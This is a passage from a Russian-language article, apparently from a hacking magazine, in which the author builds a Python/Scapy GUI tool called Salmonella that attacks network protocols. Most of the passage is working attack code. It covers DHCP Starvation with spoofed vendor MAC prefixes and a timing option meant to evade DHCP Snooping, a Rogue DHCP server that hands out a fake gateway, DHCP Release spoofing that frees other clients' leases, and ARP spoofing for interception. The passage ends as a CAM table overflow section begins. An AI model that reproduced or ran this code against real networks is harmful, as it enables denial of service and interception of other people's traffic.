Сетевые протоколы под микроскопом
Реализуем атаки на DHCP, EIGRP, DTP и ARP в приложении на Python
Задумка
Как‑то раз, когда я был студентом третьего курса, у меня стояла задача написать курсовую работу по техникам проведения атак на DHCP-сервер. Взяв эту тему, я начал вникать: что это за протокол, как он работает, какие есть атаки и так далее. Когда с теорией было покончено, дело оставалось за малым: показать на практике, как я реализовал атаку на DHCP-сервер. С программированием я тогда был знаком мало и уж точно не знал о том, как работает манипуляция сетевыми пакетами.
Я начал копать подходящие тулзы. Мое внимание привлекла Yersinia — утилита, в которую входят инструменты для проведения атак на протоколы L2, в том числе и на DHCP. Она показалась мне многообещающей и относительно легкой в обращении и понимании. Я взялся за дело с энтузиазмом, но довольно скоро я уже раскачивался перед экраном, держась руками за голову. Что‑то явно шло не так.
Никакого результата добиться не удавалось, и спустя некоторое время я таки выяснил, что проблема не в недостатке у меня знаний, а в том, что сама тулза не работает как положено. Именно тогда мне пришла в голову мысль написать свое, правильно работающее приложение.
Может быть, атаки на DHCP с Yersinia при некоторых условиях провернуть и можно, но атаки на другие протоколы канального уровня не работали вовсе! К тому же по части юзабилити Yersinia хромала на обе ноги.
Приведу пример проблемы: если выбрать атаку на совершенно любой протокол, то в ответ пользователь не получает практически никакой информации о статусе атаки — запущена она или не запущена, перехвачены какие‑либо пакеты или не перехвачены, возникла ошибка или нет и так далее.
Помучившись с этим, я преисполнился решимости писать адекватную замену. К тому же была мысль реализовать поддержку большего числа протоколов. Например, Yersinia не работает с протоколами динамической маршрутизации.
Концепция
Для разработки я взял Python и библиотеку Scapy, предназначенную для крафтинга сетевых пакетов. В сумме это два мощнейших и относительно простых в использовании инструмента.
Вдобавок к этому я решил создать собственное графическое приложение, аналогичное Yersinia, но с корректно работающими атаками на сетевые протоколы.
В качестве UI-библиотеки я решил для начала взять что‑нибудь простое и выбрал CustomTkinter.

Свое детище я назвал Salmonella — тоже семейство энтеробактерий по аналогии с Yersinia.
Я вижу взаимодействие с приложением так. На главном экране я выбираю интересующий меня протокол.

Далее мне предлагается выбрать технику атаки на этот протокол.

После выбора атаки открывается отдельное окно, в котором можно вводить параметры атаки, прослушивать сеть и так далее.
Приступаем к кодированию!
DHCP
Моя первая статья в «Хакере» как раз была посвящена теме атак на DHCP. В ней я подробно писал, в частности, о том, что это за протокол и какими сообщениями он оперирует. Здесь я повторю лишь основные тезисы.
Сообщения DHCP. Для нормальной работы DHCP требуется всего четыре сообщения: DISCOVER, OFFER, REQUEST, ACK, запомнить которые очень легко по первым буквам — DORA.
Клиент использует сообщение DISCOVER, чтобы найти DHCP-серверы. Если сервер получает такое сообщение, он отправляет клиенту сообщение OFFER, где указывает сетевые параметры, предлагаемые клиенту. Если серверов несколько, то каждый из них ответит.
Как правило, клиент отвечает тому серверу, сообщение которого пришло первым. В ответ клиент шлет сообщение REQUEST. Сервер, увидев, что клиент принял его предложение, резервирует предложенный клиенту IP-адрес у себя в памяти и отправляет последнее сообщение ACK, которое подтверждает, что теперь клиент может использовать выданные ему сетевые параметры.
DHCP Starvation
Мы знаем, что DHCP-сервер ведет таблицу соответствий выданных клиентам IP-адресов и их MAC-адресов и что уже выданный IP-адрес нельзя предлагать другому клиенту. Суть атаки DHCP Starvation в том, чтобы «истощить» сервер DHCP, отправляя ложные пакеты типа DHCPDISCOVER с рандомными MAC-адресами источника. Сервер будет реагировать на эти пакеты и резервировать свободные IP-адреса из пула, в результате чего некоторое время (пока атака в активной фазе) не сможет выдавать IP-адреса обычным пользователям.
У Yersinia есть ряд проблем с атаками DHCP Starvation.
Первая и главная проблема — отправка лишь сообщений DISCOVER. Вспомним, что для успешного взаимодействия клиент и сервер должны отправить друг другу по два сообщения. Yersinia отправляет только одно сообщение: после получения OFFER от сервера она не шлет свой REQUEST, из‑за чего взаимодействие клиента и сервера не считается успешно завершенным. Именно поэтому DHCP-сервер резервирует IP-адрес лишь через несколько минут после того, как предложил его клиенту в сообщении OFFER.
Вторая проблема — групповые MAC-адреса. В сообщениях DISCOVER в поле источника Ethernet-кадра иногда указываются групповые MAC-адреса. DHCP-сервер не воспринимает такие сообщения и просто игнорирует их. А таким может быть каждое второе сообщение.

Третья проблема: цель Yersinia — не истощить DHCP-сервер, а задушить отправкой огромного количества DISCOVER-пакетов, что, по сути, является DoS.
Все эти проблемы я решил. Посмотрим на интерфейс атаки DHCP Starvation в моей утилите.

Тут можно указать количество отправляемых пакетов, задать интервал для отправки сообщений DISCOVER, выбрать интерфейс и IP-адрес DHCP-сервера (если их несколько и нужен конкретный). Возможность задать интервал отправки для пакетов DISCOVER я добавил для обхода rate-limit у DHCP Snooping.
Теперь давай посмотрим на код. Для начала я определяю, какие выбраны параметры, и сохраняю пользовательский ввод в переменных:
# Если количество пакетов определяется вводом с клавиатурыif radiobutton_number_of_packages_var.get() == 1: number_of_packages = int(entry_number_of_packages.get()) + 1# Если количество пакетов определяется выбором из комбобоксаif radiobutton_number_of_packages_var.get() == 2: if combobox_number_of_packages.get() == "/20 (4096 addresses)": number_of_packages = 4097 if combobox_number_of_packages.get() == "/21 (2048 addresses)": number_of_packages = 2049 if combobox_number_of_packages.get() == "/22 (1024 addresses)": number_of_packages = 1025 if combobox_number_of_packages.get() == "/23 (512 addresses)": number_of_packages = 513 if combobox_number_of_packages.get() == "/24 (256 addresses)": number_of_packages = 257 if combobox_number_of_packages.get() == "/25 (128 addresses)": number_of_packages = 129 if combobox_number_of_packages.get() == "/26 (64 addresses)": number_of_packages = 65 if combobox_number_of_packages.get() == "/27 (32 addresses)": number_of_packages = 33 if combobox_number_of_packages.get() == "/28 (16 addresses)": number_of_packages = 17 if combobox_number_of_packages.get() == "/29 (8 addresses)": number_of_packages = 9 if combobox_number_of_packages.get() == "/30 (4 addresses)": number_of_packages = 5# Если выбран определенный DHCP-серверif radiobutton_dhcp_server_var.get() == 2: dhcp_server = entry_dhcp_server.get()# Если чекбокс не активен, то по умолчанию интервал равен нулюif checkbox_interval_var.get() == "off": interval = 0if checkbox_interval_var.get() == "on": interval = int(combobox_interval.get())
Итак, если не выбран определенный IP-адрес DHCP-сервера:
# Если в качестве IP-адреса DHCP-сервера выбран любой IP-адресif radiobutton_dhcp_server_var.get() == 1:# Устанавливаем счетчик отправленных пакетов для уведомлений и диагностикиpackages_sent = 0# Устанавливаем цикл, по количеству итераций равный количеству отправляемых пакетовfor i in range(1, number_of_packages): # Функция для представления MAC-адреса в виде байтов def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") # Формируем OUI mac_list = ["04:b0:e7:", "18:1e:b0:", # HUAWEI/Samsung "b8:ca:3a:", "fc:08:4a:", # Dell/Fujitsu "00:25:2e:", "2c:c2:53:", # Cisco/Apple "c4:65:16:", "38:d5:47:", # HP/ASUS "e4:1f:13:", "9c:32:ce:", # IBM/Canon "d0:28:ba:", "6c:24:83:", # Realme/Microsoft "44:90:46:", "74:d4:35:", # HONOR/GIGABYTE "88:70:8c:", "90:e8:68:", # Lenovo/AzureWave "a4:1a:6e:", "d0:c7:c0:", # ZTE/TPlink "c8:13:37:", "00:05:c9:", # Juniper/LG "24:21:ab:", "fc:75:16:", # Sony/D-Link "60:9c:9f:", "00:00:aa:"] # Brocade/Xerox # Генерируем оставшиеся три байта mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)] # Приводим их в вид MAC-адреса client_mac = ':'.join(map(lambda x: '%02x' % x, mac)) # Генерируем уникальный идентификатор транзакции для четырех сообщений DORA xid = random.randint(0x00000000, 0xffffffff) # Объединяем OUI и вторые три байта client_mac = random.choice(mac_list) + client_mac
Уже предвкушаю вопросы про список mac_list
! Сейчас поясню.
Как я уже говорил, DHCP-сервер не реагирует на сообщения DHCP, в которых в качестве MAC-адреса источника указан групповой MAC. Я начал использовать глобальные уникальные MAC-адреса (с помощью RandMAC(
), но результат оказался таким же: мой DHCP-сервер на роутере Cisco игнорировал сообщение DISCOVER, а в Wireshark оно выглядело так, как будто я использовал групповые MAC-адреса:
Source MAC must not be a group address
Тогда я нашел интересную информацию по этому вопросу:
MAC-адрес, указанный/записанный Wireshark, не является известным MAC-адресом, а представляет собой случайный MAC-адрес
То есть MAC-адрес должен узнаваться по первым трем байтам. Таким образом, я погуглил и собрал первые три байта (OUI) для оборудования наиболее известных вендоров и составил список mac_list
. При каждой генерации MAC-адреса происходит выбор случайного OUI из этого списка.
Далее генерируется вторая (случайная) часть MAC-адреса и объединяется с OUI случайно выбранного вендора. Уникальный глобальный MAC готов! Мой роутер Cisco стал реагировать на каждый MAC-адрес, сгенерированный таким образом.
В следующем блоке кода непосредственно генерируются сообщения DHCP DISCOVER:
discover_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / \
DHCP(options=[("message-type", "discover"), "end"])response_for_discover = srp1(discover_packet, timeout=2, verbose=0, iface=combobox_interface.get())
Отправляем сообщение discover_packet
методом srp1 и ждем один ответ.
Дальше анализируем полученный ответ. Запишем его в переменную response_for_discover
:
# Если ответ был получен и это DHCP OFFERif response_for_discover and response_for_discover[DHCP].options[0][1] == 2: options = response_for_discover[DHCP].options for i, item in enumerate(options): if item[0] == 'server_id': server_id = i if item[0] == 'router': router = i if item[0] == 'lease_time': lease_time = i if item[0] == 'subnet_mask': subnet_mask = i if item[0] == 'name_server': name_server = i request_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / \
DHCP(options=[("message-type", "request"), ("requested_addr", response_for_discover[BOOTP].yiaddr), ("server_id", response_for_discover[DHCP].options[server_id][1]), ("router", response_for_discover[DHCP].options[router][1]), ("name_server", response_for_discover[DHCP].options[name_server][1]), ("subnet_mask", response_for_discover[DHCP].options[subnet_mask][1]), ("lease_time", int(response_for_discover[DHCP].options[lease_time][1])), "end"]) response_for_request = srp1(request_packet, timeout=5, verbose=0, iface=combobox_interface.get())
Из сообщения OFFER, в котором DHCP-сервер предлагает нам свои сетевые параметры (IP-адрес, маска сети, IP-адрес DHCP-сервера, IP-адрес шлюза по умолчанию, DNS-сервер и время аренды), мы записываем их в соответствующие переменные. Часть этих параметров представлена в виде опций. Это далеко не все параметры, которые сервер предлагает клиенту, но их достаточно, чтобы клиент мог нормально работать в сети.
И еще пару слов об опциях DHCP. В Scapy они представлены в виде списка пар ключ — значение, где ключ — это название опции, а значение — ее содержимое. Как я понял, нет какой‑то строгой очередности, в которой опции будут располагаться в списке options
. То есть у каждого устройства может быть своя индексация опций в списке. Например, у роутера Cisco опция lease_time
может иметь индекс 8, а у роутера Huawei индекс lease_time
равен 7. Поэтому в цикле for
я использую встроенную функцию enumerate(
, чтобы определить позицию той или иной опции в списке options
.
Отправляем сообщение REQUEST и ждем ответа:
response_for_request = srp1(request_packet, timeout=2, verbose=0, iface=combobox_interface.get())# 5 — это ACKif response_for_request and response_for_request[DHCP].options[0][1] == 5: # Счетчик отправленных пакетов packages_sent += 1 time.sleep(interval)
Если получен ответ через сообщение DHCP ACK, то счетчик отправленных пакетов увеличивается, выдерживается заданный интервал (если он указан) и цикл начинается заново.
Можешь сравнить, как выглядит дамп трафика в Yersinia и нашей Salmonella.


Нажатием на кнопку Start запускается атака DHCP Starvation, а progressbar
информирует тебя о ее работе.

Когда атака завершается, всплывает окно, где говорится, сколько свободных IP-адресов мы украли из пула DHCP (именно для этого я использовал счетчик отправленных пакетов).

Ну и напоследок взглянем на таблицу соответствий DHCP.

Все работает, и эта таблица не обнулится спустя пару минут, как в Yersinia.
Rogue DHCP
Rogue DHCP требует развернуть мошеннический DHCP-сервер. Нужно это, чтобы выдавать клиентам поддельные сетевые параметры (в частности — адрес шлюза по умолчанию) и перехватывать трафик. С точки зрения атакующего, для этого лучше всего первым делом «положить» легитимный DHCP-сервер, что мы, собственно, и сделали выше.
К той атаке Rogue DHCP, которая реализована в Yersinia, у меня вопросов нет, она работает как надо. Но информации при этом выводится очень мало. Хотелось бы знать хотя бы о том, сколько ложных IP-адресов мы дали в аренду клиентам. Именно это я и реализовал в Salmonella.

Признаюсь, тут я ничего не менял и сделал всё, как у Yersinia. Разве что добавил выбор интерфейса.
Итак, пользователь заполняет все поля в окне, после чего выполняется следующий код:
pool = []start_host = int(entry_rogue_dhcp_start_ip.get().split('.')[-1])end_host = int(entry_rogue_dhcp_end_ip.get().split('.')[-1])count = (end_host - start_host) + 1subnet = entry_rogue_dhcp_start_ip.get().split('.')[0:3]subnet = subnet[0] + "." + subnet[1] + "." + subnet[2] + "."
Здесь мы создаем пустой список pool
, где будем формировать пул IP-адресов. По четвертым октетам start_host
и end_host
определяем первый и последний адреса пула, а также адрес сети subnet
— по первым трем октетам. Временно предположим, что пользователь будет задавать сеть по маске /24.
Сохраняем остальные параметры в переменных:
interface = combobox_rogue_dhcp_interface.get()ip_dhcp_server = entry_rogue_dhcp_ip_address.get()gateway = entry_rogue_dhcp_gateway.get()dns = entry_rogue_dhcp_dns.get()lease_time = entry_rogue_dhcp_lease_time.get()domain_name = entry_rogue_dhcp_domain_name.get()subnet_mask = entry_rogue_dhcp_subnet_mask.get()
Список pool
заполняем IP-адресами, которые будем выдавать клиентам, переменную position
, которая будет определять IP-адрес в списке, выставляем в 0 (в начало списка pool
) и создаем базу данных на минималках: у нас за нее будет словарь database
, где мы будем записывать, какому MAC-адресу клиента какой выданный IP соответствует:
for i in range(count): pool.append(subnet + str(start_host)) start_host += 1position = 0database = {}
Запускаем цикл while
, который будет захватывать пакеты DHCP по фильтру filter="udp
и передавать в функцию packet_handler
, пока не будет выдано такое количество IP-адресов (count
), которое указал пользователь:
while count > 0: sniff(iface=interface, prn=packet_handler, filter="udp and (port 67 or port 68)", store=0, count=1)
Вот что происходит в функции packet_handler
:
if packet.haslayer(DHCP) and packet[DHCP].options[0][1] == 1: # Опция 1 — DHCP Discover def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") mac_address = packet[Ether].src xid = packet[BOOTP].xid # Если MAC-адрес уже есть в базе (отправлял DHCP Discover) if mac_address in database: offer = (Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src=ip_dhcp_server, dst="255.255.255.255") / UDP(sport=67, dport=68) / BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=database[mac_address], siaddr=ip_dhcp_server) / DHCP(options=[("message-type", "offer"), ("server_id", ip_dhcp_server), ("router", gateway), ("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)), ("domain", domain_name), "end"])) sendp(offer, iface=interface) # Если MAC-адреса нет в базе (не отправлял DHCP Discover) if mac_address not in database: database[mac_address] = pool[position] offer = (Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src=ip_dhcp_server, dst="255.255.255.255") / UDP(sport=67, dport=68) / BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=database[mac_address], siaddr=ip_dhcp_server) / DHCP(options=[("message-type", "offer"), ("server_id", ip_dhcp_server), ("router", gateway), ("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)), ("domain", domain_name), "end"])) sendp(offer, iface=interface) position += 1
Сейчас будет длинное, но важное объяснение. Этот блок кода анализирует только сообщения DHCP DISCOVER (if
). MAC-адрес клиента mac_address
и идентификатор транзакции xid
запоминаем для дальнейшей отправки ответов (OFFER и ACK) клиенту.
Дальше идут два условия if
, которые определяют, есть ли MAC-адрес клиента в словаре database
. Если MAC-адреса в словаре database
нет, то все логично: добавляем его, присваиваем ему очередной IP-адрес из пула (database[
) и отправляем клиенту сообщение DHCP OFFER с IP-адресом для устройства (то есть его MAC). Ты можешь спросить, для чего второе условие if
и код, который срабатывает, если MAC-адрес уже есть в словаре database
?
Если сообщение DHCP DISCOVER от клиента — это начальный этап взаимодействия с сервером, то как MAC-адрес клиента мог оказаться в словаре database
? Объяснение простое: если устройство клиента ранее получало IP-адрес от другого DHCP-сервера, то при следующей инициализации DHCP (например, при включении устройства) оно попытается запросить уже арендованный у прежнего сервера IP-адрес, прежде чем принять новое предложение.
Выглядит это следующим образом:
- Клиент отправляет сообщение DHCP DISCOVER с запрашиваемым ранее IP-адресом.
- Новый DHCP-сервер шлет ему DHCP OFFER с предложенным (отличным от запрашиваемого) IP-адресом.
- Клиент игнорирует предложение нового сервера, и пункты 1–2 повторяются.
- Не нашедший прежнего DHCP-сервера клиент принимает предложение от нового сервера.

Вот поэтому я сделал проверку на наличие MAC-адреса клиента в словаре database
: чтобы одному и тому же клиенту не выдавать несколько разных IP-адресов. Ведь без такой проверки на каждое сообщение DISCOVER одного клиента будет выделяться по одному IP-адресу из пула pool
.
Итак, мы с тобой рассмотрели блок кода, который обрабатывает сообщения DISCOVER, а теперь посмотрим на обработчик сообщений REQUEST:
# Опция 3 — DHCP Requestif packet.haslayer(DHCP) and packet[DHCP].options[0][1] == 3: def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") for option in packet[DHCP].options: if option[0] == 'server_id': # Сохраняем IP-адрес DHCP-сервера, которому был отправлен пакет DHCP Request server_id = option[1] if server_id == ip_dhcp_server: for option in packet[DHCP].options: if option[0] == 'requested_addr': # Сохраняем запрашиваемый IP-адрес requested_address = option[1] mac_address = packet[Ether].src xid = packet[BOOTP].xid ack_packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
IP(src=ip_dhcp_server, dst="255.255.255.255") / \
UDP(sport=67, dport=68) / \
BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=requested_address, siaddr=ip_dhcp_server) / \
DHCP(options=[("message-type", "ack"), ("server_id", ip_dhcp_server), ("router", gateway), ("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)), ("domain", domain_name), "end"]) sendp(ack_packet, iface=interface, count=1) # Минус один свободный IP-адрес из пула count -= 1
Здесь мы проверяем, что сообщение REQUEST было отправлено именно нам, а не другому DHCP-серверу (if
), сохраняем запрашиваемый IP-адрес и отправляем клиенту последнее сообщение ACK.

Здесь указывается номер позиции (сколько IP-адресов было выдано клиентам), MAC-адрес клиента и присвоенный ему IP-адрес из нашего пула. Таблица, естественно, заполняется в реальном времени.

DHCP Release Spoofing
Пришло время поговорить про еще одну недоатаку — DHCP Release Spoofing. Все говорят о DHCP Starvation и Rogue DHCP, что эти две атаки взаимосвязаны, что сперва должна проводиться атака DHCP Starvation, а после — Rogue DHCP. Но никто не упоминает немаловажную атаку DHCP Release Spoofing.
Что такое DHCP Release Spoofing? Это спуфинг пакетами DHCP Release. А что такое пакет DHCP Release? Это сообщение, посылаемое от клиента к серверу DHCP, которое сообщает серверу, что клиент больше не хочет использовать выданный ему IP-адрес (и другие сетевые параметры) и хочет от него отказаться. Тогда DHCP-сервер удаляет этот IP-адрес из своей таблицы DHCP (возвращает его в пул свободных адресов) и в дальнейшем может предложить его другим клиентам. Это происходит, когда ты, например, указываешь в настройках статический IP-адрес или вводишь в командной строке такую команду (вариант для Windows):
ipconfig /release
Вариант для Linux:
sudo dhclient -r <сетевой интерфейс>
Атакующий может использовать DHCP Release Spoofing для отправки сообщений DHCP RELEASE от имени легитимных клиентов серверу, чтобы он освободил используемые клиентами IP-адреса и вернул их в пул незанятых адресов.
Но в чем смысл этой атаки? Ведь ее и атакой‑то сложно назвать: сообщения сервер получит и адреса вернет в пул, но для клиентов ничего не изменится. Они как использовали эти адреса, так и будут использовать до истечения времени их аренды, а потом заново получат от DHCP-сервера их или какие‑то другие адреса. Ведь сами клиенты ни от каких IP-адресов не отказывались.
Дело в том, что атака DHCP Release должна проводиться в связке с предыдущими двумя. Представь ситуацию: есть корпоративная сеть, где работает сотня устройств, они получают IP-адреса от легитимного DHCP-сервера. Допустим, пул DHCP-сервера рассчитан на 254 адреса (24-я маска). Соответственно, оставшиеся примерно 150 адресов мы забираем из пула свободных при помощи DHCP Starvation. Всё! Легитимный сервер мы положили, разворачиваем поддельный сервер Rogue DHCP. Только вот мы не получим от клиентов запросы на аренду, потому что они продолжают использовать IP-адреса легитимного DHCP-сервера, у которого эти IP-адреса занесены в таблицу занятых, и по истечении аренды клиенты снова могут их продлить у прежнего DHCP-сервера.
Вот мы и подобрались к сути атаки DHCP Release Spoofing. Атакующий должен проводить ее самой первой из трех, чтобы заранее освободить все занятые IP-адреса. Ведь после этого таблица соответствий будет пустой и все даже занятые в настоящий момент клиентами IP-адреса станут свободными для легитимного DHCP-сервера. И только когда у DHCP-сервера все адреса из пула будут свободными, появится смысл проводить атаку DHCP Starvation, а после — Rogue DHCP.
Встает вопрос: что нужно, чтобы реализовать спуфинг пакетами RELEASE? Ответ: нужно знать MAC-адрес клиента, его IP-адрес (если известен MAC, то, соответственно, известен и IP), а также MAC- и IP-адрес DHCP-сервера. Ничего сложного. IP-адрес DHCP-сервера обычно такой же, как у шлюза по умолчанию. А для получения MAC-адресов есть старенький и известный протокол, чья работа и заключается в резолве IP- и MAC-адресов, — ARP. Начнем.

Обрабатываем ввод пользователя:
start_host = entry_dhcp_release_start_ip.get().split(".")[-1]end_host = entry_dhcp_release_end_ip.get().split(".")[-1]subnet = entry_dhcp_release_start_ip.get().split(".")[0:3]subnet = subnet[0] + "." + subnet[1] + "." + subnet[2] + "."sum = (int(end_host) - int(start_host)) + 1start_host = int(start_host)dhcp_server_ip = entry_dhcp_release_dhcp_server_ip.get()
Здесь мы определяем адрес сети, первый и последний адреса, а также количество IP-адресов в указанном диапазоне.
Далее формируем ARP-запрос, чтобы узнать MAC-адрес DHCP-сервера:
# Отправляем ARP-запрос DHCP-серверу, чтобы узнать его MAC-адресarp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=dhcp_server_ip)result = srp1(arp_request, timeout=1, verbose=False)if result: for received in result: if received.haslayer(ARP) and received[ARP].op == 2: dhcp_server_mac = received.hwsrc
Если DHCP-сервер ответил, записываем его MAC-адрес в переменную dhcp_server_mac
.
Создаем пустой список dhcp_release_pool
, устанавливаем позицию в списке (position
) на ноль, обнуляем счетчик отправленных пакетов и формируем список IP-адресов, от имени которых будут отправляться сообщения DHCP RELEASE:
dhcp_release_pool = []position = 0sent_packets = 0for i in range(sum): dhcp_release_pool.append(subnet + str(start_host)) # Формируем список с IP-адресами start_host += 1
Осталось запустить цикл, который будет по очереди через ARP узнавать MAC-адрес клиента, а после от имени этого клиента отправлять DHCP-серверу сообщение DHCP RELEASE:
for i in range(sum): # Узнаем MAC-адрес клиента arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=dhcp_release_pool[position]) result = srp1(arp_request, timeout=1, verbose=False) if result: for received in result: if received.haslayer(ARP) and received[ARP].op == 2: # Получаем MAC-адрес клиента client_mac = received.hwsrc def mac_to_bytes(mac_addr: str) -> bytes: return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big") xid = random.randint(0x00000000, 0xffffffff) release_packet = Ether(src=client_mac, dst=dhcp_server_mac) / \
IP(src=dhcp_release_pool[position], dst=dhcp_server_ip) / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), ciaddr=dhcp_release_pool[position], xid=xid) / \
DHCP(options=[("message-type", "release"), ("client_id", b'\x01' + bytes.fromhex(client_mac.replace(':', ''))), ("server_id", dhcp_server_ip), "end"]) sendp(release_packet, count=1) # Для Release (заголовок BOOTP) opcode указывается, как в Request (op=1)
Цикл for
пройдется по каждому IP-адресу из списка dhcp_release_pool
, который мы сформировали на основе начального и конечного IP-адресов, указанных пользователем.

Сейчас я покажу, как работает эта атака в Salmonella. Сперва проверим таблицу DHCP на моем роутере Cisco.

Всего занято три адреса. Теперь запустим атаку, введя в поле Start
192.168.1.2, в поле End
— 192.168.1.140, а в поле DHCP
укажем 192.168.1.1. Посмотрим на трафик в Wireshark.

Тут видно, что мы опрашиваем каждый хост из диапазона через ARP, и если мы получаем ответ, то от имени этого хоста отправляем сообщение DHCP RELEASE.
После запуска нижняя часть интерфейса (scrollable frame) начинает заполняться по мере отработки кода.

Статус может быть Successfully (когда мы получили от клиента MAC-адрес и отправили от его имени сообщение DHCP
) и Not
(когда клиент не отвечает на ARP Request и, соответственно, сообщение DHCP
не отправлено).
Кстати, на скриншоте выше говорится, что было отправлено четыре пакета DHCP RELEASE? — не обращай внимания, код нашел четвертый айпишник на моем коммутаторе, на котором он задан вручную.
Теперь снова смотрим на таблицу DHCP на роутере.

Вуаля! Все IP-адреса, которыми в настоящий момент пользуются устройства, освобождены и могут быть зарезервированы через атаку DHCP Starvation, чтобы в дальнейшем вынудить клиентов использовать наш поддельный сервер Rogue DHCP.
ARP
Немного расслабимся и вкратце поговорим про более простой и более легкий в плане пентеста протокол — ARP. А конкретно про атаку ARP Spoofing. Думаю, нет смысла подробно о ней рассказывать, да и рассказывать там особо нечего: злоумышленник, манипулируя всего одним сообщением ARP, представляется шлюзом по умолчанию и таким образом может перехватывать трафик.
Посмотрим на интерфейс ARP Spoofing, там все просто и минималистично.

Вводим IP-адреса жертвы и шлюза по умолчанию, жмем Start.

Поля Victim’s
и Gateway
заполняются сами и нужны просто для информативности.
Как реализовать ARP Spoofing? Получаем ввод от пользователя, передаем в переменные victim_ip
и gateway_ip
и отправляем ARP Request, чтобы узнать MAC-адрес жертвы:
victim_ip = entry_arp_spoofing_victim_ip.get()gateway_ip = entry_arp_spoofing_gateway_ip.get()arp_request_for_victim = Ether(dst="ff:ff:ff:ff:ff:ff") / \
ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=victim_ip)result = srp1(arp_request_for_victim, timeout=2, verbose=False)if result: for received in result: if received.haslayer(ARP) and received[ARP].op == 2: victim_mac = received.hwsrc
Узнали MAC-адрес и записали в переменную victim_mac
. То же делаем и для MAC-адреса шлюза:
arp_request_for_gateway = Ether(dst="ff:ff:ff:ff:ff:ff") / \
ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip)result = srp1(arp_request_for_gateway, timeout=2, verbose=False)if result: for received in result: if received.haslayer(ARP) and received[ARP].op == 2: gateway_mac = received.hwsrc
Теперь мы знаем канальные адреса и того и другого и можем отправить ARP Response (ответ без запроса):
garp_packet = Ether(dst=victim_mac) / \
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac)sendp(garp_packet)
После отправки юникастового ARP Response жертва в своей ARP-таблице изменит запись для шлюза по умолчанию, где укажет MAC-адрес атакующего. Периодически жертва также через юникаст будет опрашивать атакующего с целью узнать, не поменялся ли у него MAC-адрес, и мы, конечно же, должны отвечать:
while True: def analyze(packet): if packet.haslayer(ARP): if packet[ARP].op == 1 and packet[ARP].pdst == gateway_ip and packet[ARP].hwsrc == victim_mac: arp_response = Ether(dst=victim_mac) / \
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac) sendp(arp_response) sniff(filter="arp", prn=analyze, count=1)
Зацикливаем захват ARP-пакетов и проверяем каждый. Если это запрос от нашей жертвы, то отвечаем ей ARP REPLY.

Такой метод «вопрос — ответ» при ARP-спуфинге хорош тем, что мы не спамим необоснованными ответами ARP REPLY в сторону жертвы.


CAM Table Overflow
Атака CAM (Content Addressable Memory) Table Overflow, или переполнение таблицы коммутации, применима только к коммутаторам, которые формируют и используют для форвардинга кадров таблицу MAC-адресов.
Таблица выглядит примерно так.
Port | MAC address |
---|---|
1 | 11-22-33-44-55-66 |
2 | 77-88-99-00-AA-BB |
Чтобы понять суть атаки, нужно немного разобраться с таблицей MAC-адресов. Заранее хочу отметить, что термины «CAM-таблица», «MAC-таблица» и «таблица MAC-адресов» — синонимы.
Итак, эту таблицу ведет коммутатор, когда с его порта отправляется кадр или пакет. Для соответствующего порта в таблице он добавляет значение MAC-адреса источника кадра или пакета, который покинул этот порт.
К одному порту коммутатора может быть подключено несколько устройств (например, через еще один коммутатор). Соответственно, в таблице MAC-адресов напротив одного порта могут быть записаны несколько MAC-адресов.
В мире нет ничего бесконечного, и таблица MAC-адресов не исключение. У разных моделей коммутаторов размер таблицы может отличаться. Бывают таблицы в 1000 записей, а бывают и в 64 000 записей.
Давай посмотрим объем MAC-таблицы на моем коммутаторе Cisco 2960.

Почти 7400 записей. На самом деле на этом коммутаторе допустимый объем составляет 8000 записей. Но это не так важно, идем дальше.
Иногда таблица MAC-адресов переполняется. Тогда коммутатор перестает использовать ее для маршрутизации пакетов и вместо этого отправляет их со всех портов. Такая ситуация создает идеальные условия для проведения MITM-атак.
Суть атаки CAM Table Overflow заключается как раз в злонамеренном переполнении MAC-таблицы коммутатора. Желательно, чтобы это была лавинная рассылка, ведь таблицы MAC-адресов современных коммутаторов не такие уж и маленькие. При этом не важно, какие данные ты отправляешь в сеть, — в таблицу MAC-адресов все равно попадет MAC-адрес твоего устройства.
И тут я задался вопросом: какие именно пакеты нужно сформировать для их последующей отправки, чтобы переполнить таблицу? Я сразу отбросил те, которые используют broadcast и multicast, так как от пакетов с такой рассылкой есть противоядие — Storm Control. Значит, используем unicast. Я решил отправлять TCP-пакеты, которые на фоне другого пользовательского трафика будут выглядеть незаметно.
Код вышел совсем небольшой:
